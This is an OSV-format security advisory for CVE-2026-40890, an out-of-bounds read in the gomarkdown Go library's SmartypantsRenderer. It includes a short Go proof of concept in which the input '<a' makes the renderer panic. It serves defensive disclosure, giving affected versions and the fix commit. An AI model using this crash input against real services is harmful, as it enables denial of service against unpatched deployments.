{"schema_version":"1.7.5","id":"GHSA-77fj-vx54-gvh7","published":"2026-04-14T22:38:20Z","modified":"2026-07-24T19:11:20.228948582Z","aliases":["CVE-2026-40890","GO-2026-5208"],"related":["CGA-cwfm-5m84-fpxh"],"summary":"Go Markdown has an Out-of-bounds Read in SmartypantsRenderer","details":"### Summary\n\nProcessing a malformed input containing a `<` character that is not followed by a `>` character anywhere in the remaining text with a SmartypantsRenderer will lead to Out of Bounds read or a panic.\n\n### Details\n\nThe `smartLeftAngle()` function in `html/smartypants.go:367-376` performs an out-of-bounds slice operation when processing a `<` character that is not followed by a `>` character anywhere in the remaining text.\nhttps://github.com/gomarkdown/markdown/blob/37c66b85d6ab025ba67a73ba03b7f3ef55859cca/html/smartypants.go#L367-L376\nIf the length of the slice is lower than its capacity, this leads to an extra byte of data read. If the length equals the capacity, this leads to a panic.\n\n### PoC\n```golang\npackage main\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\n\t\"github.com/gomarkdown/markdown/html\"\n)\n\nfunc main() {\n\tsrc := []byte(\"<a\")\n\n\tfmt.Printf(\"Input: %q  (len=%d, cap=%d)\\n\", src, len(src), cap(src))\n\n\tvar buf bytes.Buffer\n\tsp := html.NewSmartypantsRenderer(html.Smartypants)\n\tsp.Process(&buf, src) // panics: slice bounds out of range\n\n\tfmt.Printf(\"Output: %q\\n\", buf.String())\n}\n```\n\n### Impact\nThis vulnerability will lead to a Denial of Service / panic on the processing service.\n\n\n-- The Datadog Security Team","affected":[{"package":{"name":"github.com/gomarkdown/markdown","ecosystem":"Go","purl":"pkg:golang/github.com/gomarkdown/markdown"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20260411013819-759bbc3e3207"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-77fj-vx54-gvh7/GHSA-77fj-vx54-gvh7.json"}}],"references":[{"type":"WEB","url":"https://github.com/gomarkdown/markdown/security/advisories/GHSA-77fj-vx54-gvh7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40890"},{"type":"WEB","url":"https://github.com/gomarkdown/markdown/commit/759bbc3e32073c3bc4e25969c132fc520eda2778"},{"type":"PACKAGE","url":"https://github.com/gomarkdown/markdown"}],"database_specific":{"cwe_ids":["CWE-125"],"github_reviewed":true,"github_reviewed_at":"2026-04-14T22:38:20Z","nvd_published_at":"2026-04-21T20:17:02Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}